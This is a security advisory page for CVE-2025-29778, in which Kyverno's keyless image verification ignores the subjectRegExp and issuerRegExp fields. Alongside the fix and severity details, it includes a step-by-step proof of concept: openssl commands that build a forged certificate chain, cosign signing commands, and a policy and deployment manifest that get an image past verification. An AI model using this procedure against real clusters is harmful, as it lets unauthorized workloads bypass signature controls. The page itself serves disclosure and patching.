Skip to content

GHSA-46mp-8w32-6g94 BIT-kyverno-2025-29778 CVE-2025-29778 GO-2025-3562

Kyverno ignores subjectRegExp and IssuerRegExp

High Go
Severity
5.8 / 10
High · CVSS 3.1
Exploit chance (EPSS)
0.34%
Chance of exploitation in the next 30 days. Higher than 27.85% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-285 Improper Authorization
Fix
1.14.0-alpha.1
Upgrade github.com/kyverno/kyverno to this version or later

Description

Summary

Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.

Details

Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.

PoC

For the successful exploitation attacker needs:

  • Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI.
  • Access to container registry to push artifacts images
  • Availability to deploy malicious artifacts to the kubernetes cluster
  1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl
# Create self-signed RootCA
openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem


# Create request for the intermediate certificate
openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr

# Issue intermediate cert with RootCA
openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copy_extensions copy -out intermediate-ca.pem

# OID_1_1 is the hexadecimal representation of the oidcissuer url
OID_1_1=$(echo -n "https://me.net" | xxd -p -u)

# Create request for the leaf certificate
openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:me@me.net" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID_1_1}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr

# Issue leaf cert with Intermediate CA
openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copy_extensions copy -days 9999 -sha256 -out my-cert.pem

# Generate certificates chain
cat intermediate-ca.pem root-ca.pem > cert-chain.pem
  1. Build and push container image
  2. Import key and sign the image with the generated certificate
COSIGN_PASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key
COSIGN_PASSWORD="" cosign sign $IMAGE_WITH_HASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key
  1. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it:
apiVersion: kyverno.io/v1
kind: ClusterPolicy
metadata:
  name: check-image-keyless
spec:
  validationFailureAction: Enforce
  webhookTimeoutSeconds: 30
  rules:
    - name: check-image-keyless
      match:
        any:
        - resources:
            kinds:
              - Pod
      context:
        - name: encodedCert
          apiCall:
            urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca"
            method: GET
            jmesPath: "data.\"fulcio-ca.pem\""
        - name: root
          variable:
            jmesPath: "base64_decode(encodedCert)"
      verifyImages:
      - imageReferences:
        - "<IMAGE_REGEXP>"
        attestors:
        - entries:
          - keyless:
              subjectRegExp: https://ivalid
              issuerRegExp: https://ivalid
              roots: "{{root}}"
              rekor:
                url: <URL_TO_REKOR>
                pubkey: |-
                  -----BEGIN PUBLIC KEY-----
                  ...
                  -----END PUBLIC KEY-----
              ctlog:
                pubkey: |-
                  -----BEGIN PUBLIC KEY-----
                  ...
                  -----END PUBLIC KEY-----
  1. Deploy previously signed image
apiVersion: apps/v1
kind: Deployment
metadata:
  labels:
    app: image-sign
  name: image-sign
  namespace: default
spec:
  replicas: 2
  selector:
    matchLabels:
      app: image-sign
  strategy: {}
  template:
    metadata:
      annotations:
      labels:
        app: image-sign
    spec:
      containers:
        - image: <YOUR_IMAGE>
          imagePullPolicy: Always
          name: image-signing
          ports:
            - containerPort: 5000
          resources:
            requests:
              memory: 500Mi
              cpu: 0.1
            limits:
              memory: 2Gi
              cpu: 0.2
      restartPolicy: Always
status: {}
  1. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation

Impact

Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster

P.S.

Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?thread_ts=1740136401.365279&cid=CLGR9BJU9. Then it was verified and fixed by Mohcode. But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.

Affected versions

Go

PackageVulnerableFixed in
github.com/kyverno/kyverno
>= 1.13.0, < 1.14.0-alpha.1
1.14.0-alpha.1
github.com/kyverno/kyverno
< 1.14.0-alpha.1
1.14.0-alpha.1

How to fix

Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.

github.com/kyverno/kyverno Go → 1.14.0-alpha.1

go
go get github.com/kyverno/kyverno@v1.14.0-alpha.1 && go mod tidy

Severity breakdown

CVSS 3.1 5.8

CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:N/I:H/A:N

Attack vector
Network
Attack complexity
High
Privileges required
High
User interaction
None
Scope
Changed
Confidentiality
None
Integrity
High
Availability
None

Weakness

CWE-285: Improper Authorization

The product does not perform or incorrectly performs an authorization check when an actor attempts to access a resource or perform an action.

How to prevent it
  • Architecture and Design: Divide the product into anonymous, normal, privileged, and administrative areas. Reduce the attack surface by carefully mapping roles with data and functionality. Use role-based access control (RBAC) to enforce the roles at the appropriate boundaries. Note that this approach may not protect against horizontal authorization, i.e., it will not protect a user from attacking others with the same role.
  • Architecture and Design: Ensure that you perform access control checks related to your business logic. These checks may be different than the access control checks that you apply to more generic resources such as files, connections, processes, memory, and database records. For example, a database may restrict access for medical records to a specific database user, but each record might only be intended to be accessible to the patient and the patient's doctor.
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid. For example, consider using authorization frameworks such as the JAAS Authorization Framework [REF-233] and the OWASP ESAPI Access Control feature [REF-45].
  • Architecture and Design: For web applications, make sure that the access control mechanism is enforced correctly at the server side on every page. Users should not be able to access any unauthorized functionality or information by simply requesting direct access to that page. One way to do this is to ensure that all pages containing sensitive information are not cached, and that all such pages restrict access to requests that are accompanied by an active and authenticated session token associated with a user who has the required permissions to access that page.
  • System Configuration, Installation: Use the access control capabilities of your operating system and server environment and define your access control lists accordingly. Use a "default deny" policy when defining these ACLs.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-79gf-7frw-68m9
Kyverno's NamespacedGeneratingPolicy generator.apply() namespace argument unvalidated -- background controller creates RoleBindings in any namespace including kube-system
Critical Also affects github.com/kyverno/kyverno
GHSA-fpjq-c37h-cqcv
Kyverno Controller Denial of Service via forEach Mutation Panic
High Also affects github.com/kyverno/kyverno
GHSA-8wfp-579w-6r25
Kyverno apiCall automatically forwards ServiceAccount token to external endpoints (credential leak)
High Also affects github.com/kyverno/kyverno
GHSA-f9g8-6ppc-pqq4
Kyverno: ServiceAccount token leaked to external servers via apiCall service URL
Critical Also affects github.com/kyverno/kyverno
GHSA-cvq5-hhx3-f99p
Kyverno: Cross-Namespace Read Bypasses RBAC Isolation (CVE-2026-22039 Incomplete Fix)
High Also affects github.com/kyverno/kyverno
GHSA-q93q-v844-jrqp
kyverno apicall servicecall implicit bearer token injection leaks kyverno serviceaccount token
High Also affects github.com/kyverno/kyverno
GHSA-fmqp-4wfc-w3v7
Kyverno APICall SSRF Vulnerability Leading to Multi-Tenant Isolation Breach
Medium Also affects github.com/kyverno/kyverno
GHSA-qr4g-8hrp-c4rw
Kyverno has unrestricted outbound requests in Kyverno apiCall enabling SSRF
High Also affects github.com/kyverno/kyverno
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor